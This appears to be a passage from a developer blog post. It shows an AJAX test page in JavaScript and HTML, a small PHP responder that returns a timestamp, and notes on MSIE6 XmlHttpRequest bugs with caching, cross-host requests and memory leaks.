//xhr.setRequestHeader(‘Content-Type’,’application/x-www-form-urlencoded’);

xhr.send(”); /* null */

}

catch(e)

{

if(xhr){

var code = xhr.status;

var status = xhr.statusText;

popStatus(‘AJAX Client SECURITY ‘ + navigator.appName +’ ‘+ navigator.appVersion + ‘ ‘ + code + ‘ ‘ + status + ‘.’,”);

}

}

ajaxBusy(obj,false);

} else {

popStatus(‘AJAX Client ERROR.’,”);

}

}

function ajaxBusy(obj,yn){

if(yn){

swapStyleObj(obj,’idle’,’busy’);

} else {

swapStyleObj(obj,’busy’,’idle’);

}

xbusyInd(yn,”);

}

function xmillis(){

return new Date().getTime();

}

function swapStyleObj(obj,oldCSS,newCSS){

if(obj!=undefined) {

var current=obj.className;

if(current!=undefined){

var txtOld = current.replace(newCSS,’ ‘);//no doubles

var txtMid = txtOld.replace(oldCSS, ‘ ‘);

var txtNew = (txtMid + ‘ ‘ + newCSS);

obj.className = txtNew;

} else {

obj.className = newCSS;

}

}

}

function xbusyInd(valnew, msg){

xbusy = valnew;

if(xbusy==true){

document.body.style.cursor=’wait’;

if(msg != ”){

top.window.defaultStatus=msg;

popStatus(msg,”);

}

showDiv(‘throbber’);

//blockScreen();

} else {

document.body.style.cursor=’default’;

hideDiv(‘throbber’);

//unBlockScreen();

}

}

function showDiv(id) { //show a div

var obj=xgetHelper(id);

if(obj!=null){ obj.style.display=”block”;}

//xrestart();

}

function hideDiv(id) { //hide a div

var obj=xgetHelper(id);

if(obj!=null){ obj.style.display=”none”;}

//xrestart();

}

function popStatus(txt,title){

popit(‘statusdyn’,’statusarrow’,’statusul’,’statusdiv’,txt,false,title,”);

}

function popit(dynId,arrowId,ulId,divId,txt,expand,title,cssCls){

popText(ulId,txt,title,cssCls);

showDiv(divId);

if(expand == true){

var arrowObj=xgetHelper(arrowId); if(arrowObj!=null){ arrowObj.style.backgroundPosition=’2px -106px’; }

showDiv(dynId);

}

}

function popText(id,txt,title,cssCls){

var obj = xgetHelper(id);

if(obj != null){

var oldHTML = obj.innerHTML;

var cls=”; if(cssCls!=”){ cls=’ class=”‘ + cls +'”‘; }

var htm = ‘<‘+’li’+ cls +’>’ + txt + ‘<‘+’/’+’li’+’>’ + oldHTML;

obj.innerHTML = htm;

}

}

function xgetHelper(id){

var obj = null;

try {

obj = document.getElementById(id);

} catch(z) {

var dummy=alert(“Error:” + z);

}

return obj;

}

function arrowTog(objectID,arrow) {

var obj = xgetHelper(objectID);

if(obj!=null){

if (obj.style.display ==’block’) {

arrow.style.backgroundPosition = ‘2px -21px’;}

else {arrow.style.backgroundPosition = ‘2px -106px’;}

objTog(objectID);

}

return false;

}

function objTog(objectID) {

var obj = xgetHelper(objectID);

if(obj!=null){

if (obj.style.display ==’block’) obj.style.display=’none’;

else {obj.style.display=’block’;}

}

return false;

}

function headTog(objectID,arrow) {

var obj = xgetHelper(objectID);

if(obj!=null){

if (obj.style.display ==’block’) {

arrow.style.borderBottomWidth = ‘1px’;}

else {arrow.style.borderBottomWidth = ‘0px’;}

arrowTog(objectID,arrow);

}

return false;

}

/*

* adds timestamp to URLs to make them unique

* @param URL String

*/

function uniqueUrl(x){

return urlAppender(x,’.cache’,xmillis());

}

/*

* helps to add parms to the url

* @param URL String

* @param aname String

* @param avalue String

*/

function urlAppender(x,aname,avalue){

var delim = “?”;

if(x.indexOf(“?”) >=0) { delim = “&”; }

return x + delim + aname + ‘=’ + avalue;

}

function xload(){

hideDiv(‘throbber’);

xbusy=false;

}

function testAjax(obj){

var callback=function(){ ajaxResponse(obj,null,’testAjax’); }

var x = ajaxObjNoCache(obj,’/ajax.php’,true,callback);

}

function testAjaxParms(obj){

var callback=function(){ ajaxResponse(obj,null,’testAjaxParms’); }

var x = ajaxObjNoCache(obj,’/ajax.php?testing=Y’,true,callback);

}

function testAjaxXSS(obj){

var callback=function(){ ajaxResponse(obj,null,’testAjaxXSS’); }

var x = ajaxObjNoCache(obj,otherHost+’/ajax.php’,true,callback,otherHost);

}

function testAjaxHook(obj){

var hook=function(){ customAjaxHook(obj,’ajaxhookTestMessageObect’); }

var callback=function(){ ajaxResponse(obj,hook,’testAjaxHook’); }

var x = ajaxObjNoCache(obj,’/ajax.php’,true,callback);

}

function testAjaxHookXSS(obj){

var hook=function(){ customAjaxHook(obj,’ajaxhookXSSMessageObect’); }

var callback=function(){ ajaxResponse(obj,hook,’testAjaxHookXSS’); }

var x = ajaxObjNoCache(obj,otherHost+’/ajax.php’,true,callback);

}

/**

* This is a custom implemenation, the customObj COULD be used for anything (perhaps delay measurement!)

* @param obj – the clicked item

* @param customObj – user defined

*/

function customAjaxHook(obj,customObj){

var xml = xhr.responseXML;// NOTE: xhr.responseText is also valid

var tmp = ‘DEMO customAjaxHook [‘ + customObj + ‘]\n’ + xml;

alert(tmp);

}

</script>

<style type=”text/css”>

.busy { color:red; }

.idle { color:black; }

</style>

</head>

<body onload=”xload();”><!– onbeforeunload=”alert(‘before’);” onunload=”alert(‘after’);” –>

<div id=”throbber”>WORKING!</div>

<div id=”statusdiv” class=”dyn” style=”display:none;”>

<h3><a id=”statusarrow” onclick=”headTog(‘statusdyn’,this);” href=”javascript:void(0);”>Status</a></h3>

<fieldset id=”statusdyn” style=”display:block;background-color:#ffffcc;”>

<div id=”statusBox” class=”box”>

<ul id=”statusul” class=”error”>

<li id=”ajaxStatus” style=”list-style:none;display:none;”>FILLER</li>

</ul>

</div>

</fieldset>

</div>

<h3><a href=”javascript:void(0);” onclick=”testAjax(this);”>TEST</a></h3>

<h3><a href=”javascript:void(0);” onclick=”testAjaxParms(this);”>TESTPARMS</a></h3>

<h3><a href=”javascript:void(0);” onclick=”testAjaxXSS(this);”>TESTXSS</a></h3>

<h3><a href=”javascript:void(0);” onclick=”testAjaxHook(this);”>TESTHOOK</a></h3>

<h3><a href=”javascript:void(0);” onclick=”testAjaxHookXSS(this);”>TESTHOOKXSS</a></h3>

<p><a href=”index.php”>RELOAD</a></p>

</body>

</html>

Response program (ajax.php)

<?php

header(“Cache-Control: no-store”);

header(“Charset: UTF-8”);

header(“Content-Type: text/xml”);

echo(“<?xml version=\”1.0\” encoding=\”UTF-8\”?>\n”);

?>

<test><?php echo( gmdate(“D, d M Y H:i:s”) ) ?> </test>

What are the MSIE Bugs you might ask… these are all in the ActiveX implementation of XmlHttpRequest, they are:

  1. Caching – for some reason, unless you define a ‘unique’ URL for each request, MSIE6 will respond from the cache, even if the server is unreachable!
  2. XSS – I discussed this above, MSIE6 will allow you to connect to ANY HOST with AJAX!
  3. Memory leak – if you don’t nullify the XHR object (for MSIE6), the application will leak memory.

Cheers!